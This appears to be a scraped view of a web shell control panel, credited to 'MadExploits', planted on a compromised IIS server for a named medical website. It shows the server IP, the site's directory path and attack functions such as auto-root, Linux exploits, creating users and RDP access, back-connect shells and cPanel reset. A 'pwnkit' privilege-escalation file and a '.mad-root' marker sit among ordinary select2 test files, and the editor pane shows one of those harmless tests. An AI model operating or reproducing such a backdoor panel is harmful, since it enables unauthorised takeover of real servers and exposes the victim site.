Windows NT 5XH5ME 10.0 build 17763 (Windows Server 2016) AMD64
Microsoft-IIS/10.0
: | : 18.191.222.65
Cant Read [ /etc/named.conf ]
8.0.30
IWPD_574(rhy10449)
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
D: /
Inetpub /
vhosts /
rhythmmedical.in /
httpdocs /
superadm /
bower_components /
select2 /
tests /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
array-tests.js
6.07
KB
-rw-rw-rw-
base-tests.js
667
B
-rw-rw-rw-
inputData-tests.js
2.83
KB
-rw-rw-rw-
maximumInputLength-tests.js
2.67
KB
-rw-rw-rw-
maximumSelectionLength-tests.j...
3.68
KB
-rw-rw-rw-
minimumInputLength-tests.js
2.58
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
select-tests.js
10.13
KB
-rw-rw-rw-
tags-tests.js
5.93
KB
-rw-rw-rw-
tokenizer-tests.js
5.01
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maximumSelectionLength-tests.js
module('Data adapters - Maximum selection length'); var MaximumSelectionLength = require('select2/data/maximumSelectionLength'); var $ = require('jquery'); var Options = require('select2/options'); var Utils = require('select2/utils'); function MaximumSelectionStub () { this.called = false; this.currentData = []; } MaximumSelectionStub.prototype.current = function (callback) { callback(this.currentData); }; MaximumSelectionStub.prototype.val = function (val) { this.currentData.push(val); }; MaximumSelectionStub.prototype.query = function (params, callback) { this.called = true; }; var MaximumSelectionData = Utils.Decorate( MaximumSelectionStub, MaximumSelectionLength ); test('0 never displays the notice', function (assert) { var zeroOptions = new Options({ maximumSelectionLength: 0 }); var data = new MaximumSelectionData(null, zeroOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, zeroOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.val('1'); data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, zeroOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.val('1'); data.val('2'); data.query({ term: '' }); assert.ok(data.called); }); test('< 0 never displays the notice', function (assert) { var negativeOptions = new Options({ maximumSelectionLength: -1 }); var data = new MaximumSelectionData(null, negativeOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, negativeOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.val('1'); data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, negativeOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.val('1'); data.val('2'); data.query({ term: '' }); assert.ok(data.called); }); test('triggers when >= 1 selection' , function (assert) { var maxOfOneOptions = new Options({ maximumSelectionLength: 1 }); var data = new MaximumSelectionData(null, maxOfOneOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, maxOfOneOptions); data.trigger = function () { assert.ok(true, 'The event should be triggered.'); }; data.val('1'); data.query({ term: '' }); assert.ok(!data.called); }); test('triggers when >= 2 selections' , function (assert) { var maxOfTwoOptions = new Options({ maximumSelectionLength: 2 }); var data = new MaximumSelectionData(null, maxOfTwoOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, maxOfTwoOptions); data.trigger = function () { assert.ok(false, 'No events should be triggered'); }; data.val('1'); data.query({ term: '' }); assert.ok(data.called); data = new MaximumSelectionData(null, maxOfTwoOptions); data.trigger = function () { assert.ok(true, 'The event should be triggered.'); }; data.val('1'); data.val('2'); data.query({ term: '' }); assert.ok(!data.called); });
Close